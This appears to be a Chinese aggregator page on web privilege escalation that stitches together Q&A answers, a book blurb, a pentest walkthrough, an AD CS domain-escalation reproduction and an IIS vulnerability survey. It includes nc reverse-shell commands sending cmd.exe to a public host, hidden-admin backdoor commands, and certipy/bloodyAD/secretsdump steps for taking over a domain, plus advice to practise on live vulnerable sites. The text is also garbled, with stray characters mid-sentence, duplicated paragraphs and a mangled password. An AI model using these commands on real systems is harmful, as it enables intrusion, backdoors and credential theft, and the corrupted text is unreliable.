當前位置:首頁 » 網頁前端 » web提權漏洞
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

web提權漏洞

發布時間: 2023-05-12 16:51:07

Ⅰ 網站拿下後台之後怎麼提權WEBSHELL 怎麼在後台修改他的網頁

後台不能修改網頁,只能上傳圖片或修改文章,但不要隨便修改別人的網頁。後台提權拿webshell的方法有很多,簡單點的就是上傳抓包、資料庫備份等手判。再敗薯碼看察哪有沒有ewebeditor漏洞

Ⅱ web伺服器被攻擊,從哪些日誌,或者現象可以看出來

如果伺服器(網站)被入侵了,一般都是伺服器或者網站存在漏洞,被黑客利用並提權入侵的,導致伺服器中木馬,網站被掛黑鏈,被篡改,被掛馬。解決辦法:如果程序不是很大,可以自己比對以前程序的備份文件,然後就是修復,或者換個伺服器,最好是獨立伺服器。也可以通過安全公司來解決,國內也就Sinesafe和綠盟等安全公司 比較專業.

Ⅲ Web滲透技術及實戰案例解析的內容簡介

本書從Web滲透的專業角度,結合網路安全中的實際案例,圖文並茂地再現Web滲透的精彩過程。本書共分7章,由淺入深地介紹和分析了目前網路流行的Web滲透攻擊方法和手段,並結合作者多年的網路安全實踐經驗給出了相對應的安全防範措施,對一些經典案例還給出了經驗總結和技巧,通過閱讀本書可以快速掌握目前Web滲透的主流技術。本書最大的特色就是實用和實戰性強,思維靈活。內容主要包括Web滲透必備技術、Google黑客技術、文件上傳滲透技術、sql注入、高級滲透技術、0day攻擊和Windows提權與安全防範等。
前言
經過近一年時間的艱辛苦戰,終於將本書完成。本書是我寫的第三本書,主要從Web滲透的專業角度來討論網路安全的攻防技術,盡可能地再現Web滲透場景,每一個小節都代表某一個場景,此書是我工作數年的總結,最後終於不辱使命將所有成果放在本書中與大家分享。
本書是在我上一本書《黑客攻防及實戰案例解析》基礎上的又一本安全類書籍,主要討論Web滲透攻防技術。攻擊與防護是辯證統一的關系,掌握了攻擊技術,也就掌握了防護技術。Web滲透是網路安全攻防的最熱門技術,通過滲透Web伺服器,利用已有信息,逐漸深入公司或者大型網路,最終完成滲透目標。
最近二年來網路安全特別火爆,可以說從事網路安全還是蠻有前途的職業之一。目前網路安全界非常缺人,特別是在2011年CSDN、天涯等大型網站用戶資料庫泄露後,各大公司對安全人士求賢若渴,掌握網路安全攻防技術,擁有豐富經驗的從業人員,年薪一般在10萬以上,能夠獨立挖掘漏洞的從業人員年薪一般在20萬以上。其實Web安全滲透技術也不是那麼高不可攀,只要自己鎖定這個方向,持之以恆,不斷地進行試驗和研究,終將成為一名高手,而且安全攻防技術還跟學歷無關,很多技術高手都沒有上過大學。
Web滲透攻防技術可以通過以下方法來自學,一是通過安全站點漏洞更新通告、安全文章,了解漏洞的形成原理和利用過程,掌握漏洞的核心原理;二是在本地搭建試驗環境進行實際測試,掌握漏洞利用方法;三是在互聯網上對存在漏洞的站點進行實際操作,在真實環境下進行驗證,提出修補漏洞的方法。在技術研究的同時還要做好記錄,總結失敗和成功的方法,積累技巧和經驗,我曾經看過一位牛人,Web漏洞收集超過10GB數據!
本書以Web滲透攻擊與防禦為主線,主要通過典型的滲透實際案例來介紹Web滲透和防禦技術,在每一個小節中除了技術原理外,還對這些技術進行總結和提煉,掌握和理解這些技術後,讀者在遇到類似的滲透場景時可以自己去進行滲透。本書採用最為通俗易懂的圖文解說,按照書中的步驟即可還原當時的攻防情景。通過閱讀本書,初學者可以很快掌握Web攻防的流程、最新的一些技術和方法,有經驗的讀者可以在技術上更上一層樓,使攻防技術從理論和實踐中更加系統化,同時可以使用本書中介紹的一些防禦方法來加固伺服器系統。
本書共分為7章,由淺入深,依照Web攻防的一些技術特點安排內容,每一小節都是一個具體Web攻防技術的典型應用,同時結合案例給予講解,並給出一些經典的總結。本書主要內容安排如下。
第1章 Web滲透必備技術
介紹Web滲透的一些必備的基本知識,創建和使用VPN隱藏自己,獲取操作系統密碼、破解MD5密碼、破解MySQL密碼、資料庫還原等,這些技術可以在Web滲透中使用,也可以在網路管理中使用。
第2章 Google——我愛你又恨你
利用Google等搜索引擎技術來獲取信息,輔助Web滲透,在某些場景中往往會起到意想不到的效果,也被稱為Nday攻擊(0day後的數天持續攻擊)。在進行Web攻防技術研究的同時,可以通過Google來進行實際演練,最好的效果就是網上爆出漏洞後利用Goolge技術來抓肉雞。
第3章 都是上傳惹的禍
上傳是Web滲透中最容易獲得WebShell的捷徑之一,在本章中介紹了如何利用WebEditor、FCKeditor、CuteEditor等典型編輯器漏洞來獲取WebShell的方法,同時還對登錄繞過後通過Flash上傳、文件上傳等方法來獲取WebShell進行探討。
第4章 SQL注入——滲透主樂章
SQL注入是Web滲透的核心技術,本章主要介紹使用SQL注入方法獲取WebShell,穿插介紹使用多種掃描軟體、攻擊工具來滲透Web伺服器並提權。
第5章 高級滲透技術
本章介紹如何充分利用多種技術組合,結合巧妙的思路,最終成功滲透一些高難度的Web伺服器。
第6章 0day攻擊
0day是Web滲透中的「神器」,幾乎是無往不勝,所向披靡,本章介紹利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day滲透Web伺服器的一些方法。
第7章 Windows提權與安全防範
獲取WebShell後,獲得伺服器許可權一直是Web滲透的終極目標,本章對主流的一些提權方法進行介紹,掌握這些方法和原理後,可以舉一反三,觸類旁通。最後還對如何設置一個安全「變態」的Web伺服器進行介紹。
雖然本書內容已經很豐富與完整,但仍然無法涵蓋所有的Web滲透的技術,但通過本書的學習,可以快速了解和掌握Web滲透技術,加固自己的伺服器。本書的目的是通過Web滲透技術並結合一些案例來探討網路安全,更好地加固Web伺服器、遠離黑客的威脅。

Ⅳ 黑客專業名詞「提權」,「WEBSHELL」「肉雞」「暴庫」「掛馬」這幾個詞語是什麼意思啊

網路提供
提高自己在伺服器中的許可權,主要針對網站入侵過程中,當入侵某一網站時,通過各種漏洞提升WEBSHELL許可權以奪得該伺服器許可權。
webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁後門。黑客在入侵了一個網站後,通常會將asp或php後門文件與網站伺服器WEB目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站伺服器的目的。
肉雞也稱傀儡機,是指可以被黑客遠程式控制制的機器。比如用"灰鴿子"等誘導客戶點擊或者電腦被黑客攻破或用戶電腦有漏洞被種植了木馬,黑客可以隨意操縱它並利用它做任何事情。肉雞通常被用作DDOS攻擊。可以是各種系統,如windows、斗敬襲linux、unix等,更可以是一家公司、企業、學校甚至是政府軍隊的伺服器。
暴庫,就是通過一些技術手段或者程序漏洞得到資料庫的地址,並將數據非法下載到本地。稿高黑客非常樂意於這種工作,為什麼呢?因為黑客在得到網站資料庫後,就能得到網站管理賬號,對網站進行破壞與管理,黑客也能通過資料庫得到網站用戶的隱私信息,甚至得到伺服器的最高許可權。
所謂的掛馬,就是黑客通過各種手段,包括SQL注入,網站敏感文件掃描,空兄伺服器漏洞,網站程序0day, 等各種方法獲得網站管理員賬號,然後登陸網站後台,通過資料庫「備份/恢復」或者上傳漏洞獲得一個webshell。利用獲得的webshell修改網站頁面的內容,向頁面中加入惡意轉向代碼。也可以直接通過弱口令獲得伺服器或者網站FTP,然後直接對網站頁面直接進行修改。當你訪問被加入惡意代碼的頁面時,你就會自動的訪問被轉向的地址或者下載木馬病毒。

Ⅳ web滲透是什麼

Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。

Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。

信息收集

信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。

DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)

整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;

網站常見搭配為:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目錄信息(御劍,dirbust)

開放埠信息(nmp)

漏洞掃描

利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。

常見漏洞:

SQL注入

XSS跨站腳本

CSRF跨站請求偽造

XXE(XML外部實體注入)漏洞

SSRF(服務端請求偽造)漏洞

文件包含漏洞

文件上傳漏洞

文件解析漏洞

遠程代碼執行漏洞

CORS跨域資源共享漏洞

越權訪問漏洞

目錄遍歷漏洞和任意文件讀取/下載漏洞

漏洞利用

用工具也好什麼也好對相應漏洞進行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

後台密碼爆破(burp)

埠爆破(hydra)

提權

獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權

內網滲透

首先進行埠轉發可用nc

nc使用方法:

反向連接

在公網主機上進行監聽:

nc-lvp 4444

在內網主機上執行:

nc-e cmd.exe 公網主機ip4444

成功之後即可得到一個內網主機shell

正向連接

遠程主機上執行:

nc-l -p 4444 -t -e cmd.exe

本地主機上執行:

nc-vv 遠程主機ip4444

成功後,本地主機即可遠程主機的一個shell

然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門

留後門

對於網站上傳一句話木馬,留下後門

對於windows用戶可用hideadmin創建一個超級隱藏賬戶

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。

Ⅵ 為什麼現在web滲透,都用的是php寫的源碼

第一PHP語言本身漏洞相當多,尤其是很多人不喜歡用最新版本,現在PHP8都發布了,現在竟然還有一大批人用PHP5.2,越早的版本漏洞越多。漏洞多自然就好做滲透。

第二PHPweb框架漏洞也非常多。國內最常用的PHP框架thinkphp經常爆出各種嚴重漏洞,比如5.x的遠程可執行命令漏洞,導致大量使用此框架的網站中招。這個漏洞利用之容易,做個程序可以隨便感染一大批網站。有的人利用這個漏洞拿到的肉雞多到自己都數不過來。

反觀Javaweb,大多數人都會用sprint全家桶。而SpringMVC和Springsecurity提供的安全認證,起安全性都是非常強的。

雖然Spring也出一些漏洞,但是我印象中還沒有出過非常容易利用,非常簡單就能拿到最高許可權的傻瓜式漏洞。

第三網上劣質php源碼最多。很多人是根本不具備獨立編程能力的,這些所謂的「程序員」最喜歡乾的事是去網上下載各種免費源碼,然後改吧改吧就算自己做了網站了。

這種免費源碼,以PHP居多。什麼的dedeCMS,什麼xxshop,xxmall,微盟,這里垃圾PHP源碼簡直是千瘡百孔,漏洞百出。可以說是黑客們的最愛。用這類垃圾源碼最的網站,隨便一個中學生搗鼓搗鼓就能入侵,簡直和裸奔沒啥區別。

同時,會用這些垃圾代碼做網站的程序員,一般水平都不會太高,按理說連編程入門都算不上。這些所謂程序自然根本無法做到防止黑客入侵。

第四很多人安全意識太差。不管你用什麼語言做網站,大多都要在網站程序外在跑一個Nginx,apache,或者IIS。即使使用Java,Nginx做反向代理+靜態處理,後面再加tomcat的構架也很多。

凡是,很多人要麼是技術不到位,要麼是偷懶,不去自己編譯tomcat或者apache,而是用網上現成的的一鍵安裝包或者傻瓜安裝程序。這些程序可能會默認安裝PHP支持。

也就是說,一些安全意識不強或者水平比較差的鉛手程序員編寫的javaweb很有可能也會支持PHP。

很多人在入侵提權的時候,不管你是什麼網站,都會先試一下PHP能不能執行,入侵幾率比較高。

關於最後一個問題,如果你找到了Javaweb的漏洞,可以上傳文件了,下一步槐仔嫌要做的就是提權。這個時候你直接上傳Java源代碼是沒有用的。php是動態執行的,源碼可以直接被戚神執行,而Java則需要編譯。

拿到上傳許可權後想提權,就必須先弄清楚對方伺服器的jre版本,然後再本地用相應的版本編譯後,再把jar包傳上去,才能夠執行。

這里還有一個不同,一般php提權,只需要拿到網站根目錄的上傳許可權即可。但是Javaweb很有可能網站的根目錄,和存放可執行jar包的目錄不是一個目錄,想要執行Java代碼,你就必須想法拿到jar包所在目錄的上傳許可權(同時也要拿到網站根目錄許可權),這是一個難點。

Ⅶ Windows域提權漏洞分析與復現

當Windows系統的Active Directory證書服務(CS)在域上運行時,由於機器賬號中的dNSHostName屬性不具有唯一性,域中普通用戶可以將其更改為高許可權的域控機器賬號屬性,然後從Active Directory證書服務中獲取域控機器賬戶的證書,導致域中普通用戶許可權提升為域管理員許可權。這一漏洞最早由安全研究員Oliver Lyak發現並公開分析過程和POC,微軟在2022年5月的安全更新中對其進行了修補。

影響范圍較廣,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考鏈接)。

操作系統:

Win10、Win Server 2016、Kali-linux-2022.1。

分析工具:

ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

關於這個漏洞的分析和復現文章網上已經很多了,但是筆者在分析和復現這個漏洞時遇到的一些「坑」大多並未提及。所以,今天主要分享遇到的問題和解決方法。

首先設置Win Server 2016的IP地址為固定IP,然後設置其DNS伺服器地址。測試時域控伺服器的計算機名為dc,IP為192.168.220.160,網關為192.168.220.1

接下來是安裝域控環境。在Win Server 2016安裝域控環境比較簡單,安裝時,使用超級管理員Administrator登錄,然後在服務管理茄稿猛器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照默認選項,直接「下一步」即可,注意在伺服器角色界面中勾選「Active Directory域服務」即可,如下圖所示:

域服務安裝完成後,選擇「將此伺服器提升為域控制器」,如下圖所示:

然後選擇「添加新林」指定根域名,筆敬衡者測試時設置的是:fenghuotai.local,如下圖所示:

其他的選項按照默認設置就可以了,另外,安裝過程中會自動安裝DNS伺服器,安裝成功後需要重啟計算機。

最後是安裝域證書服務。還是在服務管理器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照默認選項,直接「下一步」即可,注意在伺服器角色界面中勾選「Active Directory證書服務」即可,如下圖所示:

然後在選擇角色服務的步驟中,需要顫橋額外再選擇「證書頒發機構Web注冊」,如下圖所示:

域證書服務安裝成功後,需要再配置域證書服務,如下圖所示:

在配置域證書服務中,需要選擇「證書頒發機構」和「證書頒發機構Web注冊」,如下圖所示:

最後再選擇「企業證書」(如果不是域成員,無法選擇該選項,但默認賬號Administrator可以),如下圖所示:

其他選項按照默認設置即可。

域控服務和域證書服務安裝成功後,在服務管理器的儀表盤的工具菜單中選擇「Active Directory管理中心」,然後在Users分組下新建一個用戶賬號,輸入密碼和選擇「密碼永不過期」,模擬加入域環境的普通用戶賬號。分析時使用的普通用戶賬號是testcve,如下圖所示:

域普通用戶賬號建立好後,再選擇另外一台計算機,測試時使用的是64位的 Win10系統,計算機名為testmachine,加入剛建立的域fenghuotai.local,然後使用剛建立的域普通用戶賬號testcve登錄(加入域的方法請自行搜索,此步驟無特殊設置)。到此,測試環境就搭建好了。

以域普通用戶賬號testcve登錄Win10計算機後,使用ADExplorer工具分析該提權漏洞產生的原因。

ADExplorer工具需要先登錄,分析時使用普通域用戶賬號testcve登錄fenghuotai.local域,如下圖所示:

登錄成功後,展開左邊的樹形控制項「DC=fenghuotai,DC=local」,然後再展開「CN=Computers」和「CN=Users」,可以分別看到剛才新加入域的名為CN=TESTMACHINE的win10計算機機器賬號和普通域用戶賬號CN=testcve,這兩個賬號均包含了很多屬性值,如下圖所示:

每個屬性的具體含義可以參考微軟官方的幫助文檔,此次分析只關注該漏洞相關的屬性。默認情況下,域用戶賬號可以申請User證書,域計算機機器賬號可以申請Machine證書,兩個證書都允許客戶端身份驗證。

展開Computers分組,選中剛才加入域的計算機CN=TESTMACHINE,其中一項屬性dNSHostName的內容為testmachine.fenghuotai.local,testmachine就是新加入域的Win10計算機的計算機名,這個屬性是向域證書服務申請機器賬號證書時用於標識指定計算機機器賬號的,也就是說dNSHostName的內容和機器證書是綁定的,不同機器賬號的dNSHostName內容,就會得到不同的證書。另外屬性sAMAccountName的內容為TESTMACHINE$,這個屬性作為計算機機器賬號名,如下圖所示:

那麼可以將dNSHostName的內容改為域控伺服器的內容嗎?如果可以的話,豈不是就偽造成域控伺服器的機器賬號了嗎?嘗試將其內容改為dc.fenghuotai.local,卻會得到一個錯誤,更改失敗,如下圖所示:

為什麼會出現這個錯誤?因為dNSHostName屬性和另外一個servicePrincipalName屬性是相關聯的,更改dNSHostName屬性後,域控伺服器將自動更新servicePrincipalName屬性的值。這樣就導致和原域控伺服器機器賬號的servicePrincipalName屬性沖突了。TESTMACHINE$機器賬號屬性servicePrincipalName中的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致沖突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致沖突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

dNSHostName屬性的內容成功更改為域控伺服器的內容dc.fenghuotai.local,如下圖所示:

到此,普通機器賬號TESTMACHINE ,然後從Active Directory證書服務中申請到域控機器賬戶的證書,導致域中普通用戶許可權提升為域管理員許可權。

根據該漏洞的分析結果,想要成功利用該漏洞,需要滿足如下幾個條件:

1、域控伺服器系統版本

Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考鏈接)。

2、域內普通用戶賬號許可權

需要獲取域內至少一個普通用戶賬號許可權,並且需要該賬戶對dNSHostName等屬性具有相應的許可權。默認情況,普通用戶賬號具有該許可權。

3、企業證書服務

域內部署有企業證書服務,並允許被控制的計算機賬戶申請計算機身份驗證證書。

環境搭建過程不再贅述,參照分析過程即可,攻擊機選擇Kali-linux-2022.1,需要安裝額外的工具Certipy、bloodyAD、impacket、PKINITtools

首先需要獲取域控伺服器,域證書伺服器的一些基本信息。在受控的主機上執行powershell命令Get-ChildItem Cert:LocalMachineRoot,得到域證書伺服器地址fenghuotai-DC-CA,域控伺服器地址fenghuotai.local,域控計算機名為dc,如下圖所示:

設置攻擊機的DNS伺服器地址為域控DNS伺服器地址,或者在本地hosts文件中設置域控和與證書伺服器域名的ip,不然會導致無法解析域名等錯誤。設置kali的hosts文件內容,如下圖所示:

復現環境准備好後,先使用掌握的域內普通用戶賬號申請證書,並驗證登錄,測試復現環境是否異常。申請證書命令certipy req 'fenghuotai.local/testcve:[email protected]' -ca fenghuotai-DC-CA -template User

可能會遇到NETBIOS超時現象,重新執行一次申請證書命令即可。

申請用戶賬號證書成功後,執行命令certipy auth -pfx testcve.pfx驗證該證書,獲取其NT hash,如下圖所示:

成功獲取到了NT hash,說明測試環境沒問題。如果遇到錯誤(特別是還原域控虛擬機後),說明域控有些服務沒正確啟動。需要重啟域控伺服器,待儀錶板上的服務項啟動後,或者手動啟動後,再重啟Kerberos Key Distribution Center(kdc)服務。不知道實戰中是否會遇到該錯誤,如果遇到了,後面的利用就無法進行了。

使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p Ƈqaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234 ',新建一台名為pwnmachine,密碼為CVEPassword1234 的機器賬號,如下圖所示:

然後使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p Ƈqaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',設置其dNSHostName 屬性為域控伺服器屬性,如下圖所示:

設置成功後使用命令certipy req 'fenghuotai.local/pwnmachine 的證書,其實申請到的是域控dc$的證書,如下圖所示:

獲取到域控的機器賬號證書後,使用命令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160進行登錄驗證,獲取其NT hash,如下圖所示:

然後使用impacket工具examples目錄下的 secretsmp.py 腳本,命令為python3 secretsmp.py 'fenghuotai.local/[email protected]' -hashes :,獲取域內所有賬號hash,如下圖所示:

當然,還可以使用PKINITtools工具,獲取域控最高許可權shell。

Ⅷ Web滲透是怎麼弄的

1.滲透目標
滲透網站(這里指定為www.xxx.com)
切記,在滲透之前要簽訂協議。
2.信息收集
建議手動檢查和掃描器選擇同時進行。
2.1 網站常規檢測(手動)
1:瀏覽www.xxx.com
1. 初步確定網站的類型:例如銀行,醫院,政府等。
2. 查看網站功能模,比如是否有論壇,郵箱等。
3. 重點記錄網站所有的輸入點(與資料庫交互的頁面),比如用戶登錄,用戶注冊,留言板等。4. 重點查看網站是否用到了一些通用的模板,比如論壇選擇了動網(dvbss),就有可能存在動網的漏洞;郵箱有可能選擇通用的郵箱系統,也有漏洞。
2: 分析網站的url1. 利用搜索引擎,搜索網站的url,快速找到網站的動態頁面。
2. 對網站的域名進行反查,查看IP,確定伺服器上的域名數,如果主頁面url檢測沒有漏洞,可以對其他的域名進行檢測。
3:審查代碼
重點對輸入代碼(比如表單)進行分析,看如何來提交輸入,客戶端做了哪些輸入的限制方法。
1. 隱藏表單欄位 hidden
2. Username,Password等
4:控制項分析
Active x 通常都是用c/c++編寫
在頁面上(通常是首頁)的源碼中搜索
1. 需要ComRaider+OD 對dll文件進行反編譯,看是否有漏洞。
2. 改變程序執行的路徑,破壞Active X 實施的輸入確認,看web的回應。
5:對常規的輸入進行手動注入測試,測試是否有sql注入和跨站漏洞,試用常規的用戶名和密碼登錄。
6:查看web伺服器的版本,確定搜索是否有低版本伺服器組件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具選擇和使用
1:web應用程序漏洞掃描工具
Appscan: (版本7.8)
掃描漏洞比較全,中文,漏洞利用率高,檢測速度慢,需要大量內存,重點推薦。
AWVS:
英文,漏洞庫完善,檢測速度慢。
JSky
中文,檢測速度快,但深度一般。
Nessus
英文,檢測速度較快,漏洞也比較完善,免費,可及時更新,B/S界面。
2:埠掃描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗組的hacker欄中)
Jsp+ORACAL: CnsaferSI
支持以上資料庫 Pangolin
5: http代理請求
Paros
6:木馬
灰鴿子
7:提權木馬
一句話木馬大馬(具體所用的木馬參考文檔和工具包(綠盟,暗組))
5: 工具推薦使用方案
Appscan掃描出的重大漏洞,進行手工檢測(注意看漏洞是如何發現的,修改漏洞的代碼,對滲透幫助很大)。
sql注入漏洞
可以選用根據網站類型選擇sql注入工具
如果是post請求類型的url,選擇使用paros代理後,修改http請求包,進行注入。
WebDEV漏洞
可以啟用發送請求(比如DELETE對方網頁)
跨站漏洞
直接將appscan的代碼輸入測試,成功後,可以嘗試跨其他腳本(比如
遍歷漏洞:
網頁的目錄,下載網站配置文件信息,和源文件進行反編譯
反編譯:
Class 可以選用java 反編譯工具
Dll (asp.net) 選用Reflector
3.分析並滲透
---------------------
作者:centos2015
來源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!

Ⅸ iis曾經出現過的漏洞不包括哪些

不包括反序列化漏洞。
Internet Information Services(IIS,以前稱為 Internet Information Server)互聯網信息服務是 Microsoft 公司提供的可擴展 Web 伺服器,支持 HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP 和 NNTP 等。起初用於 Windows NT 系列,隨後內置在 Windows 2000、Windows XP Professional、Windows Server 2003 和後續版本一起發行。IIS 目前只適用於 Windows 系統,不適用於其他操作系統。

根據 Netcraft 在 2018 年 9 月的最新全球 Web 伺服器報告顯示,Microsoft IIS 依舊以 9.57% 的比例占據全球第三大最繁忙伺服器,落後於 Apache 34.07%和 Nginx 25.45%。目前流行的 Windows 版本都默認安裝 IIS 服務 , 但同時 IIS 的安全性一直被業內詬病,一旦 IIS 出現高危漏洞,將會出現范圍廣、影響深的特點。

目前 IIS 一共發行 12 個版本,從 IIS 1.0 版本至 IIS 10.0 版本,IIS 1.0-4.0 已經基本退出市場,IIS 5.0-10.0 是 Web 市場主要使用的網站伺服器。隨著 Windows 版本發布和不斷更新,IIS 自身的安全性也有了較大的提升。在 2005-2018 年期間,IIS 漏洞呈現逐年減少的趨勢,同時也說明了 IIS 漏洞 POC 公布越來越少、漏洞挖掘的難度也在提升。

從上述 IIS 漏洞統計表格可以看出,IIS 7.5、IIS 8.5 和 IIS 10.0 是目前全球使用最多的三款 IIS 版本,分別對應受影響漏洞 12 個、4 個和 2 個,呈現受影響漏洞數量遞減的趨勢。同時,在歷年的 IIS 版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5 和 IIS 7.0 受影響的漏洞數居前四位。

二、IIS 漏洞分析

千里目實驗室針對 IIS 近十幾年(2005 年以後)的 35 個漏洞進行和整理和分析,IIS 漏洞主要分布在緩沖區溢出、認證繞過、DOS 拒絕服務、代碼執行和信息泄露,其中以 MS15-034 遠程代碼執行漏洞最為嚴重。

由上表可以看到,IIS 歷年漏洞主要以遠程漏洞為主,占漏洞總數 85.71%,本地漏洞有 5 個,占漏洞總數 14.29%。其中 5 個本地漏洞分別是: ( MS12-073 ) Microsoft IIS 密碼信息泄露漏洞 CVE-2012-2531、 Microsoft IIS 源代碼泄露漏洞 CVE-2005-2678、 ( MS17-016 ) Microsoft Internet 信息伺服器跨站腳本漏洞 CVE-2017-0055、 ( MS16-016 ) IIS WEBDAV 特權提升漏洞 CVE-2016-0051、 ( MS08-005 ) Microsoft IIS 文件更改通知本地許可權提升漏洞 CVE-2008-0074。

以下主要針對 IIS 漏洞中可以遠程利用的重點漏洞做分析和復現:

1. 緩沖區溢出漏洞

1.1 ( MS09-053 ) Microsoft IIS FTPd 服務 NLST 命令棧緩沖區 CVE-2009-3023

1.1.1 漏洞描述

Microsoft IIS 內嵌的 FTP 伺服器中存在基於棧的緩沖區溢出漏洞。如果遠程攻擊者對帶有特製名稱的目錄發布了包含有通配符的 FTP NLST ( NAME LIST ) 命令的話,就可以觸發這個溢出,導致執行任意代碼。僅在攻擊者擁有寫訪問許可權的情況下才可以創建帶有特殊名稱的目錄。

1.1.2 漏洞分析和復現

· 漏洞影響版本:IIS 5.0、IIS 5.1、IIS 6.0

· 漏洞分析:

IIS 包括用於通過 TCP 計算機網路交換和操作文件的 FTP 伺服器服務。它默認偵聽埠 21 以獲取來自 FTP 客戶端的傳入連接。IIS 支持的 FTP 命令之一是名稱列表(NLST)命令。此命令用於將目錄列表從伺服器傳輸到客戶端。該命令的語法如下:

NLST

此命令中的路徑名應指定目錄或其他特定於系統的文件組描述符;在 pathname 為 NULL 時,使用當前目錄。NLST 命令可以使用諸如「 * 」之類的通配符來引用多個路徑。

Microsoft Internet 信息服務(IIS)中存在緩沖區溢出漏洞。該漏洞是由於處理 NLST FTP 命令時邊界檢查不足造成的。當 FTP 用戶請求包含通配符的路徑名過長的目錄列表時,易受攻擊的代碼會將目錄路徑名復制到 0x9F(159)位元組的基於堆棧的緩沖區中,而不進行邊界驗證。提供包含大於 0x9F(159)位元組的路徑名會使堆棧緩沖區溢出,從而可能會覆蓋關鍵進程數據(如函數返回地址)。

遠程身份驗證的攻擊者可以通過連接到易受攻擊的 IIS FTP 伺服器並向目標伺服器發送惡意 NLST 命令來利用此漏洞。成功利用將導致使用 System 許可權執行代碼。如果代碼執行攻擊不成功,可能會導致受影響的 FTP 會話異常終止。

注意:為了成功利用此漏洞,NLST 命令中指定的長路徑名必須存在於目標系統上。因此,利用此漏洞的攻擊可能伴隨著 MKD 命令的使用。

· 漏洞類型:可遠程利用,存在緩沖區溢出漏洞,可觸發代碼執行

· 漏洞復現:

復現環境:Win XP SP3 x64 專業版,默認 IIS 5.1

1. 搭建好 IIS FTP 靶機環境,測試 anonymous 默認匿名用戶可用,且可創建和讀寫目錄;

2. 測試正常 MKD 創建和 NLST 正常長度的目錄的功能是否正常:

以上 somefolder 為 FTP 伺服器上正常長度文件夾,NLST 命令執行成功並返回結果提示 226。

3. 測試創建和 NLST 異常目錄長度,伺服器返回 150,打開數據連接,成功執行命令。

· 漏洞緩解:

1. 此漏洞僅在 IIS 5.x 和 6.0 版本存在,升級 IIS 版本或者更新 MS09-053 補丁即可規避此漏洞;

2. 此漏洞成功利用的條件主要包括:IIS 啟用 FTP 服務且存在 FTP 默認站點、攻擊者登陸 FTP 的賬戶有創建和讀寫文件夾的許可權。

2.DOS 拒絕服務漏洞

2.1 ( MS07-041 ) Microsoft IIS 5.1 遠程緩沖區溢出漏洞 CVE-2005-4360

2.1.1 漏洞描述

